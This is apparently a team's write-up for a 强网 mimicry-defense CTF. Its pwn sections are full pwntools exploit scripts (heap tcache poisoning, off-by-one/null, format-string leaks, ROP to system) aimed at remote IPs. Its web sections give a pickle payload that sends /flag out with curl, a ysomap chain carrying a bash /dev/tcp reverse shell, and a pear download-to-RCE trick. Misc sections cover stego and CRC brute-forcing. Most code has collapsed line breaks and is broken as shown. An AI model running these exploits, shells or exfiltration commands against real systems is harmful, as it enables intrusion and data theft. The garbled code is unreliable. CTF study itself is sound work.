“强网”拟态防御国际精英挑战赛 WP
战队名称:WHT 战队
战队排名:34

题目名称
Bitflip
EXP:
#coding:utf-8from pwn import*context(arch='amd64',log_level='debug')#p=process('./bitflip')p=remote('124.71.130.185',49154)elf=ELF('./bitflip')libc=elf.libcdef add(idx,size):p.sendlineafter('choice: ','1')p.sendlineafter('Index: ',str(idx))p.sendlineafter('Size: ',str(size))def edit(idx,content):p.sendlineafter('choice: ','2')p.sendlineafter('Index: ',str(idx))p.sendlineafter('Content: ',content)def show(idx):p.sendlineafter('choice: ','3')p.sendlineafter('Index: ',str(idx))def delete(idx):p.sendlineafter('choice: ','4')p.sendlineafter('Index: ',str(idx))#gdb.attach(p)add(0, 0x18)add(1, 0x18)add(2, 0x38)add(3, 0x18)edit(0,'A'*0x18+'\x61')delete(1)add(5,0x50)delete(2)edit(5,'A'*0x28)show(5)p.recvuntil('A'*0x28)tcache=u64(p.recv(6).ljust(8,'\x00'))-0x0a+0x10success('tcache:'+hex(tcache))edit(5,'A'*0x18+p64(0x41)+p64(tcache))add(2,0x38)add(6,0x38)edit(6,'\x00'*0x23+'\x07')delete(2)delete(6)add(7,0x28)show(7)p.recvuntil('Content: ')libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x3ebee0success('libc_base:'+hex(libc_base))free_hook=libc_base+libc.symbols['__free_hook']system=libc_base+libc.symbols['system']#delete(2)edit(5,'A'*0x18+p64(0x41)+p64(free_hook-8))add(2,0x38)add(8,0x38)edit(8,'/bin/sh\x00'+p64(system))delete(8)p.interactive()
题目名称
old_school
EXP:
#coding:utf-8from pwn import *context(arch='amd64',log_level='debug')p=process('./old_school')p=remote('121.36.194.21',49154)elf=ELF('./old_school')libc=elf.libcdef add(idx,size):p.sendlineafter('choice: ','1')p.sendlineafter('Index: ',str(idx))p.sendlineafter('Size: ',str(size))def edit(idx,content):p.sendlineafter('choice: ','2')p.sendlineafter('Index: ',str(idx))p.sendlineafter('Content: ',content)def show(idx):p.sendlineafter('choice: ','3')p.sendlineafter('Index: ',str(idx))def delete(idx):p.sendlineafter('choice: ','4')p.sendlineafter('Index: ',str(idx))#gdb.attach(p)# malloc 7 chunksfor i in range(7):add(i, 0x80)# get sandwich-chunkadd(7, 0x80)add(8, 0x18)add(9, 0x80)add(10, 0x10)edit(10,"/bin/sh\x00") # gap top-chunk# fulfill tcache bin[0x90]for i in range(7):delete(i)delete(7)#offbyoneedit(8, "a" * 0x10 + p64(0xb0) + "\x90")# unlinkdelete(8)delete(9)# leak_addradd(0, 0xa0)edit(0,"a" * 8)show(0)msg = p.recvuntil("Content: aaaaaaaa")leak_libc_addr = u64(p.recv(6).ljust(8,'\x00'))libc_base_addr = leak_libc_addr - 0x3ebd0alibc.address = libc_base_addr success('libc_base:'+hex(libc_base_addr))# change fd-ptredit(0, "a" * 0x88 + p64(0x21) + p64(libc.sym['__free_hook']))# tcache bin attackadd(1, 0x10)add(2, 0x10)edit(2,p64(libc.sym['system']))# get shelldelete(10)p.interactive()
题目名称
Pwnpwn
#### 漏洞分析
read 空间超过栈空间,并且有格式化字符串漏洞
unsigned __int64 vuln(){signed int i; // [rsp+Ch] [rbp-74h]char buf; // [rsp+10h] [rbp-70h]unsigned __int64 v3; // [rsp+78h] [rbp-8h]v3 = __readfsqword(0x28u);puts("hello");for ( i = 0; i <= 1; ++i ){read(0, &buf, 0x200uLL);printf(&buf, &buf);}return __readfsqword(0x28u) ^ v3;}
#### 具体操作
先利用格式化字符串漏洞泄露代码基址和 canary,之后利用栈溢出先填充 canary,在构造ROP,pop_rdi_ret + binsh_address + system_address
####
EXP:
def re(x):return p.recv(x)def ru(x):return p.recvuntil(x)def se(x):return p.send(x)def sl(x):return p.sendline(x)def vuln(payload):sl("2")ru("hello")sl(payload)pop_rdi_ret = 0xb83system = 0x951payload= "%18$p,%21$p,"vuln(payload)offset = 0x555555554bd0 - 0x555555554000data = p.recvuntil(",", drop = True)codebase = int(data,16) - offsetpop_rdi_ret = codebase + pop_rdi_retsystem = codebase + systemcanary = int(p.recvuntil(",", drop = True),16)success("code base is ", codebase)success("canary is ", canary)payload = "a" * 0x68 + p64(canary) + 'b' * 8 + p64(pop_rdi_ret) + p64(codebase + 0x202010)+p64(system)sl(payload)p.interactive()
题目名称
sonic
EXP:
#coding:utf-8from pwn import *context(arch = 'amd64',log_level = 'debug')#sh = process('./sonic')sh = remote('123.60.63.90',6889)#栈溢出打 nologinAuth#gdb.attach(sh)sh.recvuntil('Address=')start = int(sh.recv(14),16)success('main:'+hex(start))payload = 'a'*0x20payload += 'b'*8payload += p64(main-149)sh.sendline(payload)sh.interactive()
题目名称
old_school_revenge
漏洞出现点
edit 函数中的写入数据部分存在漏洞 off-by-null
__int64 __fastcall sub_C61(__int64 a1, unsigned __int64 a2){__int64 result; // raxunsigned __int64 i; // [rsp+18h] [rbp-8h]for ( i = 0LL; i < a2; ++i ){read(0, (void *)(a1 + i), 1uLL);if ( *(_BYTE *)(a1 + i) == '\n' )break;}result = a1 + i;*(_BYTE *)(a1 + i) = 0;return result;}
#### 具体操作
1.先将 tcache 填满,通过 unsortedbin 来泄露 libc 加载基址
2.构造 0xf0 的堆块(chunk 头 为 0x101),先将 tcache[0x100]填满,构造三个相邻堆块0x100,0x18,0x100,先将 0x100 堆块放入 unsortedbin,在 0x18 堆块修改 prev_size 为 0x120,并且
通过 off-by-null,将下一个 0x100 堆块的 prev_in_use 置零,再次释放最后一个 0x100 堆块,unlink出一个 unsortedbins,吞掉了未释放的 0x18 堆块.
3.按照偏移再次申请到为释放的 0x18 堆块地址的堆块,此时 chunk_list[9]与 chunk_list[14]为同一个地址,释放 chunk_list[14],修改 chunk_list[9]的 fd 指针为 malloc_hook,完成tcachebinattack
4.修改 malloc_hook 为 one_gadget,再次申请堆块触发 one_gadget
EXP:
def success(name, data):return p.success(name + ": 0x%x" % data)def re(x):return p.recv(x)def ru(x):return p.recvuntil(x)def se(x):return p.send(x)def sl(x):return p.sendline(x)def menu(choice):ru("Your choice: ")sl(str(choice))def add(idx, size):menu(1)ru("Index: ")sl(str(idx))ru("Size: ")sl(str(size))def edit(idx, content):menu(2)ru("Index: ")sl(str(idx))ru("Content: ")sl(content)def show(idx):menu(3)ru("Index: ")sl(str(idx))def delete(idx):menu(4)ru("Index: ")sl(str(idx))for i in range(8):add(i, 0x80)add(0x1f, 0x10)for i in range(8):delete(i)add(7, 0x8)show(7)ru("Content: ")data = p.recvuntil("\n", drop = True)print datalibc.address = u64(data.ljust(8, '\x00')) - (0x00007ffff7dcfd20 - 0x7ffff79e4000)print hex(libc.address)malloc_hook = libc.sym["__malloc_hook"]one = libc.address + one_gadget[2]add(0x1e, 0x60)add(8, 0xf0)add(9, 0x18)#vulnadd(10, 0xf0)for i in range(7):add(11 + i, 0xf0)for i in range(7):delete(11 + i)delete(8)#extend unsortedbinedit(9, 'a' * 0x10 + p64(0x120))delete(10)add(10, 0x90)add(11, 0x50)add(14, 0x30)delete(14)add(0x1d,0xd0)#debugf(0xD6E)edit(9, p64(malloc_hook))add(14,0x30)add(15,0x30)edit(15, p64(one))add(16, 0x30)p.interactive()
题目名称
zerocalc
根据题目提示,可以读取提示的文件

于是尝试读取/etc/passwd 文件

可以跨目录读取文件,直接尝试读取 flag 文件。

题目名称
EasyFilter
源码分析:
变量 action 为行为变量,w 为写,r 为读,在写函数中,以 Get 方式交变量 c 为保存的文
件内容,文件名为随机的,写进去的内容也被以 base64 加密的方式存储,在读函数中,文
件以被 php 伪协议封装的形式做了输出。只要将读出来的内容进行 base64 解码即可。根据php 伪协议的 php://filter/convert.base64-decode/resource=xxx 进行读取,先尝试写入 phpinfo。

由于 basedir 的限制,使用../进行返回上级目录到 file/下,以 base64-decode 方式读取,可以
发现 phpinfo 函数被执行。

接下来就写入一句话,找到 flag 文件读取即可。



题目名称
new_hospital
浏览网页,发现 feature.php 目录下报错,显示了 knowledge 和 file_get_contents(.js)函数的报 错。尝试截断读取 index.php 文件,依旧报错。于是扫描目录,发现/old/目录。


扫描目录,得到 flag.php


在源码中发现了 feature.php?id=2,抓包发现存在 cookie 参数 API,将后面的 base64 解码之
后值为 123123.js



并且在最下面出现报错,浏览发现,相同的位置报出 file_get_contents()函数的错误,但是这里的文件没有被指定为 js文件,这里 js 后缀没发绕过,前面发现了 old 目录,访问发现和网站根目录一样,并且也存 在 feature.php,猜测为漏洞修复之前的页面,抓包添加 cookie,发现此文件没有限制后缀, 通过 API 将所需的文件名进行 base64 编码读取,猜测 flag 的位置为/var/www/html/flag

题目名称
ezPickle
在 app.py 文件中,index 页面中以 get 方式获取 name 变量,将 name 变量进行 pickle 反序列化,执行反序列化中的函数,在 config.py 文件中,提供了个后门函数,但是需要 notadmin 中的 admin 变量为 yes。所以构建思路为,pickle 反序列化执行后门函数,并且替换全局变量中的 notadmin 中 admin 变量为 yes。
参考文章:http://www.secwk.com/2021/08/09/22904/ 构建 opcode,执行 whoami 命令

Whoami 被执行但是没有回显,尝试反弹 shell。仍然没有回显,并且 vps 监听的端口上没有任何回显。
尝试使用 curl 命令连接。


有了反映,于是使用 curl 命令带出 flag
执行命令为:curl -F “@/flag” vps:port

题目名称
BlueWhale
伪加密,修改加密位,只能得出 out.pcapng,查看流量,只有一堆路由协议,没有任何密码提示内容,里面只有 5 个 tcp 流量,包含一个密码`th1sIsThEpassw0rD`

尝试解压缩包,示密码错误。
打开压缩包,发现里面有个`password.txt`文件。大小 17。和流量包里的密码长度差不多。尝试明文。

得到密码!2b$3&Ec

解压压缩包,得到一张图片

zsteg 查看:得到一张图片,使用 zsteg 进行解密,得到 flag。

题目名称
Jack-Shiro

shiro 验证绕过访问路由通过 jackson 反序列化打 cc 链 发现有 json 路由需要登陆通过`/;/json`绕过 直接上工具 ysomap 用 cc8 去打
use exploit LDAPLocalChainListenerset lport 8996use payload CommonsCollections8use bullet TransformerBulletset version 3set args 'bash -i >& /dev/tcp/ip/8866 0>&1'run


题目名称
Give_me_your_0day
看源码是 Typecho
上网查质料就只要一个 Typecho 反序列化漏洞!
由于题目环境的原因:`config.inc.php` 文件是无法创建的!
代码审计:
就发现一处包含点!

我们可以通过控制 config 参数和 adapter 参数来控制 变量`$type`。就可以任
意文件包含(但是限制文件后缀是 php)!

那现在思路很明确了!
就找一个可以利用的 php 文件就行了!
查阅质料发现:可以包含 php 环境自带的 pearcmd 文件
然后通过`pear install -R /tmp http://127.0.0.1:8080/1.php` 命令下载恶意文件到服务器,实现 RCE!
### 测试
1 在服务器上使用 python 一句话开启 http 服务器:`python -m SimpleHTTPServer 8080`
2 通过`pear install -R /var/www/html http://0.0.0.0:8080/1.php` 命令下 载恶意文件到服务器,实现 RCE!

3 读取 FLAG:

题目名称
WeirdPhoto
由于是 png 图片,检查图片的 crc 校验码,发现不对

脚本爆破图片的高度,“爆破出图片的长宽为:1420*500”
import binascii,structmisc = open(r'1.png','rb').read()for w in range(2024):for h in range(2024):data = misc[12:16] + struct.pack('>I',w) + struct.pack('>I',h) +misc[24:29] crc = misc[29:33]if (binascii.crc32(data) & 0xffffffff )== struct.unpack('>I',crc)[0]:print('%d*%d' %(w,h))
修复图片得到

栏栅密码爆破旁边的字符串
得到压缩包的解压密码:THISISTHEANSWERTOOBSFUCATION
Out 文件 16 进制查看缺少文件头,补全 pdf 的文件头

Pdf 内没有有价值的信息,使用 wbstego 进行解密,得到 flag。
题目名称
Bar
下载附件是个 gif 图片,分解。看到有三种图片。

应该代表不同的编码。先试摩斯码import osfrom PIL import Imagefilepath = '/Users/crazy/test/1023/out_gif/'tmp_list = []for i in range(334):tmp = str(i)if len(tmp)==1:tmp ='00'+tmpif len(tmp)==2:tmp = '0'+tmpfilename = filepath+tmp+'.jpg'im = Image.open(filename)r,g,b = im.getpixel((5,5))if r == 0:r = '-'if r == 255:r = '.'if r == 56:r = '/'tmp_list.append(r)print(tmp_list)tmp_r = "".join(tmp_list)print("".join(tmp_list))
结果为:
-.-./---/-.././----./...--/-.-.----.--...-.-.-...-.-..--.-...-.-..-...-.-.-...-..--..-.-..--.-..-..-....-.-.-.-.-....-.-....-.-..-...-.-...-.. -.-..-.-...--..-.-..--.-..-..--..-.-..--.-.-...-...-..-.-....-.-.-..-...-.--...-.-.-....-.-.--.-...-.-..-..-..--...-.-.-..-...-.--..-.-..-....-. -.-..-...-.-.-...-....................-.-.----.-
进行摩斯解码:

得到`code93`
百度一下`code93`。得知是条形码。
再观察上面结果。只有少量的`/`。最后一个`/`后应为 code93 的内容。
将其转为`0`、`1`。
得到:
101011110110001010100010100110100010100100010101000100110010100110100100100001 010101010000101000010100100010100010010100101000110010100110100100110010100110 101000100010010100001010100100010110001010100001010110100010100100100110001010 1001000101100101001000010101001000101010001000000000000000000001010111101按`1`为黑,`0`为白,做图

扫码无法识别。
写 pytho 程序,对上面的`01`结果进行识别:
import osfrom PIL import Imagefilepath = '/Users/crazy/test/1023/out_gif/' tmp_list = []for i in range(334):tmp = str(i)if len(tmp)==1:tmp ='00'+tmpif len(tmp)==2:tmp = '0'+tmpfilename = filepath+tmp+'.jpg'im = Image.open(filename)r,g,b = im.getpixel((5,5))if r == 0:r = '1'if r ==255:r = '0'if r ==56:r = '\n'tmp_list.append(r)print(tmp_list)print(len(tmp_list))tmp_r = "".join(tmp_list)print("".join(tmp_list))s2 = tmp_r.split('\n')[-1]print(s2)print('\n')rrr= []for i in range(0,len(s2),9):tmp_t = s2[i:i+9]rrr.append(tmp_t)print(rrr)dic{"100010100":"0","100101100":"O","101001000":"1","100010110":"P","101000100":"2","110110100":"Q","101000010":"3","110110010":"R","100101000":"4","110101100":"S","100100100":"5","110100110":"T","100100010":"6","110010110":"U","101010000":"7","110011010":"V","100010010":"8","101101100":"W","100001010":"9","101100110":"X","110101000":"A","100110110":"Y","110100100":"B","100111010":"Z","110100010":"C","100101110":"-","110010100":"D","111010100":".","110010010":"E","111010010":"SPACE","110001010":"F","111001010":"$","101101000":"G","101101110":"/","101100100":"H","101110110":"+","101100010":"I","110101110":"%","100110100":"J","100100110":"($)","100011010":"K","111011010":"(%)","101011000":"L","111010110":"(/)","101001100":"M","100110010":"(+)","101000110":"N","101011110":"*Start/Stop"}for i in rrr:tmp = dic[i]print(tmp,end='')
结果报错,但得到了部分结果。

为:`F0C62DB973684DBDA896F9C5F6D962`
查看 code93 的编码规则,(http://www.appsbarcode.com/sc20130113/Code%2093.php)最后 两位为校验位。
应 该 是 后 最 的 校 验 位 有 错 误 。使 用 在 线 生 成 code93(https://products.aspose.app/barcode/zh-hans/generate/code93).
得到图片

根据 code93 的编码规则,(http://www.appsbarcode.com/sc20130113/Code%2093.php),识别出两个校验位为`um`。
所以 flag 为:
``` flag{f0c62db973684dbda896f9c5f6d962um}
题目名称
Mirror

`full.png`使用`010 Editor`打开出现 CRC 校验报错,猜测需要修复宽高,其次 发现了文件末尾附加了镜像翻转的`png`字节流数据 将附加数据取出来另存为`png`文件,通过分析不难发现将字节流数据逆序然 后每十六个字节流翻转一下即为正常的`png`数据

from binascii import *with open('full1.png', 'rb') as f:with open('res-full.png', 'wb') as f1:hex_data = hexlify(f.read()).decode()[::-1]for i in range(0, len(hex_data), 32):data = hex_data[i:i+32][::-1]f1.write(unhexlify(data))

即得到`full.png`和`res-full.png`两张图片,两张图片使用`010 Editor`打开都会出现 CRC 报错,使用脚本还原宽高
import binasciiimport structimport sysfile = 'full.png'fr = open(file,'rb').read()data = bytearray(fr[0x0c:0x1d])crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])# 原 来 的 代 码 : crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'", ''))n = 4095for w in range(n):width = bytearray(struct.pack('>i', w))for h in range(n):height = bytearray(struct.pack('>i', h))for x in range(4):data[x+4] = width[x]data[x+8] = height[x]crc32result = binascii.crc32(data) & 0xffffffffif crc32result == crc32key:print(width,height)newpic = bytearray(fr)for x in range(4):newpic[x+16] = width[x]newpic[x+20] = height[x]fw = open(file+'.png','wb')fw.write(newpic)fw.closesys.exit()
即得到完整的图片`full.png.png`以及`res-full.png.png`

很明显`res-full.png.png`可能存在盲水印

`flag.png`使用`PS`水平翻转一下



```html
32effq8aa8374a02a9p1636ae8901qa0
```
提示
```html
2-5 e-6 9-a p-b q-d
```
一开始以为只是`2->5 e->6 9->a p->b q->d`,替换后发现交并不对,猜测是都要相互替换即
python
flag='32effq8aa8374a02a9p1636ae8901qa0'dict1 ={'2':'5','5':'2','e':'6','6':'e','9':'a','a':'9','p':'b','b':'p','q':'d','d':'q'}flag_list = list(flag)idx = 0for char in flag_list:for key in dict1:if char == key:flag_list[idx] = dict1[key]idx += 1res_flag = ''for i in flag_list:res_flag += iprint('flag{{{}}}'.format(res_flag))
bash
PS C:\Users\Administrator\Downloads\mirror> python .\replace.pyflag{356ffd89983749059ab1e3e968a01d90}
